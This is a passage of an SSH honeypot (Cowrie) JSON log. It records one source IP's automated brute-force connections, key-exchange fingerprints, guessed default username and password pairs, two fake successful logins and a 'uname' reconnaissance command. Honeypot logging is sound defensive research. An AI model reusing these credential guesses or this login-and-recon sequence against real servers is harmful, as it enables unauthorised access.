0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:32.369001Z","src_ip":"192.109.200.237","session":"d8051787b205","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:32.679250Z","src_ip":"192.109.200.237","session":"d8051787b205","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:33.764248Z","src_ip":"192.109.200.237","session":"d8051787b205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52252,"dst_ip":"159.203.135.109","dst_port":22,"session":"68600822f5a0","protocol":"ssh","message":"New connection: 192.109.200.237:52252 (159.203.135.109:22) [session: 68600822f5a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:35.432550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:35.437123Z","src_ip":"192.109.200.237","session":"68600822f5a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:35.521192Z","src_ip":"192.109.200.237","session":"68600822f5a0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:35.767493Z","src_ip":"192.109.200.237","session":"68600822f5a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:35.963681Z","src_ip":"192.109.200.237","session":"68600822f5a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:35.966551Z","src_ip":"192.109.200.237","session":"68600822f5a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:36.050744Z","src_ip":"192.109.200.237","session":"68600822f5a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:36.055402Z","src_ip":"192.109.200.237","session":"68600822f5a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52268,"dst_ip":"159.203.135.109","dst_port":22,"session":"d265cc29e399","protocol":"ssh","message":"New connection: 192.109.200.237:52268 (159.203.135.109:22) [session: d265cc29e399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:38.486078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:38.490636Z","src_ip":"192.109.200.237","session":"d265cc29e399","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:38.572573Z","src_ip":"192.109.200.237","session":"d265cc29e399","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:38.818383Z","src_ip":"192.109.200.237","session":"d265cc29e399","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:39.903810Z","src_ip":"192.109.200.237","session":"d265cc29e399","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43246,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f5ca69d4181","protocol":"ssh","message":"New connection: 192.109.200.237:43246 (159.203.135.109:22) [session: 4f5ca69d4181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:41.609509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:41.613682Z","src_ip":"192.109.200.237","session":"4f5ca69d4181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:41.720843Z","src_ip":"192.109.200.237","session":"4f5ca69d4181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:41.968875Z","src_ip":"192.109.200.237","session":"4f5ca69d4181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:43.054324Z","src_ip":"192.109.200.237","session":"4f5ca69d4181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43252,"dst_ip":"159.203.135.109","dst_port":22,"session":"24f0a60d3def","protocol":"ssh","message":"New connection: 192.109.200.237:43252 (159.203.135.109:22) [session: 24f0a60d3def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:44.762276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:44.767963Z","src_ip":"192.109.200.237","session":"24f0a60d3def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:44.850703Z","src_ip":"192.109.200.237","session":"24f0a60d3def","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:45.103042Z","src_ip":"192.109.200.237","session":"24f0a60d3def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:46.242186Z","src_ip":"192.109.200.237","session":"24f0a60d3def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43268,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dce35d381e5","protocol":"ssh","message":"New connection: 192.109.200.237:43268 (159.203.135.109:22) [session: 4dce35d381e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:47.831515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:47.837097Z","src_ip":"192.109.200.237","session":"4dce35d381e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:48.213521Z","src_ip":"192.109.200.237","session":"4dce35d381e5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"*****","message":"login attempt [steam/*****] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:48.465117Z","src_ip":"192.109.200.237","session":"4dce35d381e5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:48.687410Z","src_ip":"192.109.200.237","session":"4dce35d381e5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:48.691676Z","src_ip":"192.109.200.237","session":"4dce35d381e5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:48.780458Z","src_ip":"192.109.200.237","session":"4dce35d381e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:48.785267Z","src_ip":"192.109.200.237","session":"4dce35d381e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37276,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0c689865377","protocol":"ssh","message":"New connection: 192.109.200.237:37276 (159.203.135.109:22) [session: e0c689865377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:51.001965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:51.006575Z","src_ip":"192.109.200.237","session":"e0c689865377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:51.088576Z","src_ip":"192.109.200.237","session":"e0c689865377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:51.335059Z","src_ip":"192.109.200.237","session":"e0c689865377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:52.420248Z","src_ip":"192.109.200.237","session":"e0c689865377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37286,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf43eec50475","protocol":"ssh","message":"New connection: 192.109.200.237:37286 (159.203.135.109:22) [session: bf43eec50475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:54.018022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:54.022818Z","src_ip":"192.109.200.237","session":"bf43eec50475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:54.105182Z","src_ip":"192.109.200.237","session":"bf43eec50475","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stream","password":"stream","message":"login attempt [stream/stream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:54.351081Z","src_ip":"192.109.200.237","session":"bf43eec50475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:55.436266Z","src_ip":"192.109.200.237","session":"bf43eec50475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37306,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b29705c3258","protocol":"ssh","message":"New connection: 192.109.200.237:37306 (159.203.135.109:22) [session: 9b29705c3258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:57.004138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:57.009773Z","src_ip":"192.109.200.237","session":"9b29705c3258","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-e